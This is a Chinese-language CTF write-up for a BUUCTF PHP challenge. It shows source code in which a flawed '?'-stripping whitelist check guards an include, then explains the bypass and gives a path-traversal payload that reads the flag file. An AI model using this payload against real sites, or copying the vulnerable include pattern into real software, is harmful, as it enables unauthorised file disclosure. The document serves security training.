题目链接:BUUCTF在线评测
查看源代码,发现有source.php,访问得到源代码:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
//过滤问号的函数(如果$page的值有?则从?之前提取字符串)
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
传进来的file:
变量不为空
值是字符串类型
值传到emmm类里面的checkFile函数
//mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
// mb_strpos (haystack ,needle )
// haystack:要被检查的字符串。
// needle:要搜索的字符串
//mb_substr() 函数返回字符串的一部分。
//str 必需。从该 string 中提取子字符串。
//start 必需。规定在字符串的何处开始。
//ength 可选。规定要返回的字符串长度。默认是直到字符串的结尾。
分析如下: 传入checkFile函数要经历 第一次白名单验证 一次?过滤后他就是hint.php 再进行一次白名单验证 返回为真 则达成条件进行包含得到flag。
构造如下:
/source.php?file=hint.php?../../../../../ffffllllaaaagggg